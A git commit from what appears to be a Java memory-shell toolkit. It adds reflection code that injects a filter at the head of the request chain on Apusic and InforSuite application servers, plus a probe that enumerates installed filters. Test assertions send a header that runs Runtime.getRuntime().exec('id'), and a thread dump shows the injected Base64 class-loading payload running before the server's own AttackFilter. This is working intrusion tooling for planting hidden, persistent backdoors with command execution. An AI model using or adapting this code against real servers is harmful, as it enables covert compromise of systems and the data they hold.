feat: support addFilterFirst for Apusic/InforSuite

This commit is contained in:
ReaJason
2026-01-09 20:56:59 +08:00
parent 855a911868
commit 22bd5d03cb
7 changed files with 597 additions and 28 deletions
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
}
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
}
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,25 +203,32 @@ public class InforSuiteFilterInjector {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj, fieldName);
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
@@ -0,0 +1,216 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ApusicFilterProbe {
@Override
public String toString() {
String msg = "";
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found\n";
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
}
msg += formatFiltersData(allFiltersData);
}
return msg;
}
@SuppressWarnings("all")
private List<Map<String, String>> collectFiltersData(Object context) {
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
try {
Object webModule = getFieldValue(context, "webapp");
if (webModule == null) {
return Collections.emptyList();
}
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
if (filterMappings == null || filterMappings.length == 0) {
return Collections.emptyList();
}
Object[] filters = (Object[]) invokeMethod(webModule, "getFilterList");
Map<String, String> filterClassMap = new HashMap<>();
if (filters != null) {
for (Object filter : filters) {
String name = (String) invokeMethod(filter, "getName");
String className = (String) invokeMethod(filter, "getFilterClass");
if (name != null && className != null) {
filterClassMap.put(name, className);
}
}
}
for (Object fm : filterMappings) {
String name = (String) invokeMethod(fm, "getFilterName");
if (name == null) {
continue;
}
if (!aggregatedData.containsKey(name)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClassMap.getOrDefault(name, "N/A"));
info.put("urlPatterns", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
if (urlPattern != null) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
} catch (Exception ignored) {
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"), "");
appendIfPresent(output, " -> ", info.get("filterClass"), "");
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value).append(suffix);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
method = clazz.getDeclaredMethod(methodName);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -41,8 +41,6 @@ public class GlassFishFilterProbe {
if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList();
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs");
Map<?, ?> filterConfigs = (Map<?, ?>) getFieldValue(context, "filterConfigs");
for (Object fm : filterMaps) {
String name = (String) invokeMethod(fm, "getFilterName");
if (name == null) continue;
@@ -52,8 +50,8 @@ public class GlassFishFilterProbe {
for (Object def : filterDefs) {
if (!name.equals(invokeMethod(def, "getFilterName"))) continue;
Class<?> cls = (Class<?>) invokeMethod(def, "getFilterClass");
if (cls == null && filterConfigs != null) {
Object config = filterConfigs.get(name);
if (cls == null) {
Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = config != null ? invokeMethod(config, "getFilter") : null;
if (filter != null) filterClass = filter.getClass().getName();
}
@@ -74,7 +72,7 @@ public class GlassFishFilterProbe {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
try {
Object urlPattern = getFieldValue(fm, "urlPattern");
Object urlPattern = invokeMethod(fm, "getURLPattern");
if (urlPattern instanceof String) {
urls = new String[] { (String) urlPattern };
}
@@ -171,10 +169,12 @@ public class GlassFishFilterProbe {
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
Class<?>[] paramClazz = null;
Object[] param = null;
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
@@ -47,6 +47,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -76,6 +77,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -105,6 +107,7 @@ public class ProbeAssertion {
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "id")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -135,6 +138,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
.url(url + "/biginteger").post(requestBody)
.build();
@@ -54,4 +54,8 @@ public class DetectionTool {
public static String getGlassFishFilterProbe() {
return getBase64Class(GlassFishFilterProbe.class);
}
public static String getApusicFilterProbe() {
return getBase64Class(ApusicFilterProbe.class);
}
}
@@ -0,0 +1,321 @@
# Generated At 2026-01-09 09:41:57
SystemProps:
java.vendor: Temurin
sun.java.launcher: SUN_STANDARD
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
os.name: Linux
sun.boot.class.path: /usr/local/ass/lib/endorsed/javax-annotations-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
javax.security.jacc.PolicyConfigurationFactory.provider: com.apusic.security.jacc.PolicyConfigurationFactoryImpl
com.apusic.home: /usr/local/ass
apusic.http.disabledMethods: DELETE,PUT,TRACE,OPTIONS
java.vm.specification.vendor: Oracle Corporation
java.runtime.version: 1.8.0_472-b08
user.name: root
apusic.prefer.war.classes.include:
com.apusic.domain.home: /usr/local/ass/domains/server1
user.language: en
sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
jmx.invoke.getters: true
java.version: 1.8.0_472
apusic.http.status.forbiddenToNotFound: true
java.util.logging.manager: com.apusic.logging.manager.ServerLogManager
user.timezone: Etc/UTC
java.net.preferIPv4Stack: true
com.apusic.invocation.InheritContext: false
sun.arch.data.model: 64
javax.persistence.spi.PersistenceProvider: org.eclipse.persistence.jpa.PersistenceProvider
java.endorsed.dirs: /usr/local/ass/lib/endorsed
sun.cpu.isalist:
sun.jnu.encoding: UTF-8
file.encoding.pkg: sun.io
file.separator: /
java.specification.name: Java Platform API Specification
apusic.async.servlet.multi.request.event: true
java.class.version: 52.0
user.country: US
java.home: /opt/java/openjdk/jre
apusic.prefer.war.classes.exclude: java.,javax.,org.w3c.,org.xml.,com.sun.faces.
apusic.prefer.war.classes: true
java.vm.info: mixed mode
os.version: 6.8.0-90-generic
org.omg.CORBA.ORBSingletonClass: com.apusic.corba.ee.impl.orb.ORBSingleton
path.separator: :
java.vm.version: 25.472-b08
java.awt.printerjob: sun.print.PSPrinterJob
apusic.component.invocation.naming.local.optimize: true
sun.io.unicode.encoding: UnicodeLittle
java.specification.maintenance.version: 6
awt.toolkit: sun.awt.X11.XToolkit
apusic.web.listener.reload: true
user.home: /root
java.specification.vendor: Oracle Corporation
java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.vendor.url: https://adoptium.net/
com.apusic.timerpool.size: 5
java.vm.vendor: Temurin
java.runtime.name: OpenJDK Runtime Environment
sun.java.command: com.apusic.server.Main -root /usr/local/ass
java.class.path: .:/usr/local/ass/classes:/usr/local/ass/sp/*.jar:/usr/local/ass/common/elite-api.jar:/usr/local/ass/common/javaee.jar:/usr/local/ass/common/operamasks-api.jar:/usr/local/ass/lib/apusic-client.jar:/usr/local/ass/lib/apusic-embed.jar:/usr/local/ass/lib/apusic-jms.jar:/usr/local/ass/lib/apusic-ws.jar:/usr/local/ass/lib/apusic.jar:/usr/local/ass/lib/deploy.jar:/usr/local/ass/lib/elite-api.jar:/usr/local/ass/lib/elite.jar:/usr/local/ass/lib/firststep.jar:/usr/local/ass/lib/jasper-jdt.jar:/usr/local/ass/lib/mejb.jar:/usr/local/ass/lib/operamasks-comp.jar:/usr/local/ass/lib/operamasks-core.jar:/usr/local/ass/lib/razor.jar:/usr/local/ass/lib/*.zip:/usr/local/ass/lib/ext/bcprov-jdk15-1.46.jar:/usr/local/ass/lib/ext/cal10n-api-0.7.7.jar:/usr/local/ass/lib/ext/classmate-0.8.0.jar:/usr/local/ass/lib/ext/commonj.sdo-2.1.1.jar:/usr/local/ass/lib/ext/commons-io-2.2.jar:/usr/local/ass/lib/ext/derby-10.6.1.0.jar:/usr/local/ass/lib/ext/derbyclient-10.6.1.0.jar:/usr/local/ass/lib/ext/dsn-1.4.4.jar:/usr/local/ass/lib/ext/eclipselink-2.4.2.jar:/usr/local/ass/lib/ext/guava-13.0.1.jar:/usr/local/ass/lib/ext/hibernate-validator-5.0.1.Final.jar:/usr/local/ass/lib/ext/javassist-3.12.1.GA.jar:/usr/local/ass/lib/ext/javax.mail-1.4.4.jar:/usr/local/ass/lib/ext/javax.persistence-2.0.5.jar:/usr/local/ass/lib/ext/jaxb-impl-2.2.4.jar:/usr/local/ass/lib/ext/jaxb-xjc-2.2.4.jar:/usr/local/ass/lib/ext/jaxr-impl-1.0.8.jar:/usr/local/ass/lib/ext/jboss-classfilewriter-1.0.4.Final.jar:/usr/local/ass/lib/ext/jboss-logging-3.1.1.GA.jar:/usr/local/ass/lib/ext/jcip-annotations-1.0.jar:/usr/local/ass/lib/ext/je-4.0.92.jar:/usr/local/ass/lib/ext/jettison-1.3.1.jar:/usr/local/ass/lib/ext/jgroups-all.jar:/usr/local/ass/lib/ext/jhall.jar:/usr/local/ass/lib/ext/jmxremote_optional-1.0_01-ea.jar:/usr/local/ass/lib/ext/jstl-1.2.jar:/usr/local/ass/lib/ext/ldapjdk.jar:/usr/local/ass/lib/ext/ldapsp.jar:/usr/local/ass/lib/ext/mx4j-tools-3.0.1.jar:/usr/local/ass/lib/ext/resteasy-jaxb-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jaxrs-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jettison-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/scannotation-1.0.3.jar:/usr/local/ass/lib/ext/slf4j-api-1.7.2.jar:/usr/local/ass/lib/ext/slf4j-ext-1.7.2.jar:/usr/local/ass/lib/ext/weld-api-2.0.Final.jar:/usr/local/ass/lib/ext/weld-core-2.0.0.Final.jar:/usr/local/ass/lib/ext/weld-spi-2.0.Final.jar:/usr/local/ass/lib/ext/xmemcached-1.3.5.jar:/usr/local/ass/lib/ext/*.zip/usr/local/ass/domains/server1/lib/*.zip:/usr/local/ass/domains/server1/lib/*.jar::/agent.jar
java.vm.specification.name: Java Virtual Machine Specification
apusic.connector.useConcurrentCP: true
java.vm.specification.version: 1.8
sun.cpu.endian: little
sun.os.patch.level: unknown
java.io.tmpdir: /tmp
com.sun.faces.InjectionProvider: com.apusic.deploy.jsf.ApusicInjectionProvider
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
user.dir: /usr/local/ass/domains/server1
com.apusic.net.bio: false
line.separator:
java.vm.name: OpenJDK 64-Bit Server VM
java.security.auth.login.config: /usr/local/ass/domains/server1/config/auth.cfg
file.encoding: UTF-8
org.omg.CORBA.ORBClass: com.apusic.corba.ee.impl.orb.ORBImpl
java.specification.version: 1.8
===========================================
ThreadStacks:
"ApusicTimerThread-1" #12 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247)
at java.lang.Thread.run(Thread.java:750)
"topic: testTopic dispatching thread" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16b49e2e
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
at com.apusic.mq.queue.LocalQueue$SelfActivation.check(LocalQueue.java:211)
at com.apusic.mq.queue.LocalQueue$SelfActivation.waitReadable(LocalQueue.java:218)
at com.apusic.mq.queue.LocalQueue.waitReadable(LocalQueue.java:269)
at com.apusic.mq.dispatch.WaitForALLAvailable.dispatch(WaitForALLAvailable.java:37)
at com.apusic.mq.dispatch.DispatchList.doDispatch(DispatchList.java:104)
at com.apusic.mq.dispatch.DispatchList.access$200(DispatchList.java:28)
at com.apusic.mq.dispatch.DispatchList$1.iterate(DispatchList.java:146)
at com.apusic.mq.util.DedicatedTaskRunner.runTask(DedicatedTaskRunner.java:79)
at com.apusic.mq.util.DedicatedTaskRunner$1.run(DedicatedTaskRunner.java:17)
"AutoDeployer" #22 [TIMED_WAITING] on com.apusic.deploy.runtime.AutoDeployer@505399e9
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.apusic.deploy.runtime.AutoDeployer.run(AutoDeployer.java:70)
at java.lang.Thread.run(Thread.java:750)
"HTTPSessionSwapper" #21 [TIMED_WAITING] on com.apusic.web.session.AbstractSessionManager$HouseKeeper@42e5bbe0
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.apusic.web.session.AbstractSessionManager$HouseKeeper.run(AbstractSessionManager.java:622)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"main" #1 [WAITING] on com.apusic.server.J2EEServer@20d7d6fb
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at com.apusic.server.J2EEServer.startup(J2EEServer.java:384)
at com.apusic.server.Main.main(Main.java:35)
"ApusicTimerThread-4" #23 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247)
at java.lang.Thread.run(Thread.java:750)
"MuxListener" #14 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
at com.apusic.net.NonBlockingListenerThread.run(NonBlockingListenerThread.java:37)
"LogManager" #11 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@28c7fe88
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at com.apusic.logging.manager.ServerLogManager$PushThread.dequeue(ServerLogManager.java:669)
at com.apusic.logging.manager.ServerLogManager$PushThread.run(ServerLogManager.java:688)
"Running HTTPHandler-1" #31 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
at com.google.gso.tbOkr.ErrorHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2994)
at java.io.PrintWriter.print(PrintWriter.java:617)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.apusic.web.container.ServletComponent.service(ServletComponent.java:87)
at com.apusic.web.container.ServletFilterWrapper.doFilter(ServletFilterWrapper.java:38)
at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:48)
at com.apusic.util.AttackFilter.doFilter(AttackFilter.java:82)
at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65)
at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38)
at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:45)
at EmptyFilter.doFilter(EmptyFilter.java:21)
at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65)
at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38)
at com.apusic.web.container.WebContainer.invoke(WebContainer.java:1061)
at com.apusic.web.container.WebContainer.doProcessRequest(WebContainer.java:854)
at com.apusic.web.container.WebContainer.processRequest(WebContainer.java:750)
at com.apusic.web.http.VirtualHost.processRequest(VirtualHost.java:216)
at com.apusic.web.http.HttpServer.processRequest(HttpServer.java:304)
at com.apusic.web.http.HttpConnectionHandler.service(HttpConnectionHandler.java:26)
at com.apusic.web.http.ConnectionHandler.processRequest(ConnectionHandler.java:327)
at com.apusic.web.http.ConnectionHandler.processConnection(ConnectionHandler.java:137)
at com.apusic.web.http.ConnectionHandler.run(ConnectionHandler.java:54)
at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:656)
"ApusicTimerThread-3" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247)
at java.lang.Thread.run(Thread.java:750)
"HttpReader" #30 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.apusic.web.http.HttpReaderThread$SubSelector.run(HttpReaderThread.java:101)
"MQ.Server.Reader" #25 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101)
at com.apusic.mq.transport.ReaderThread.run(ReaderThread.java:65)
"ApusicTimerThread-5" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
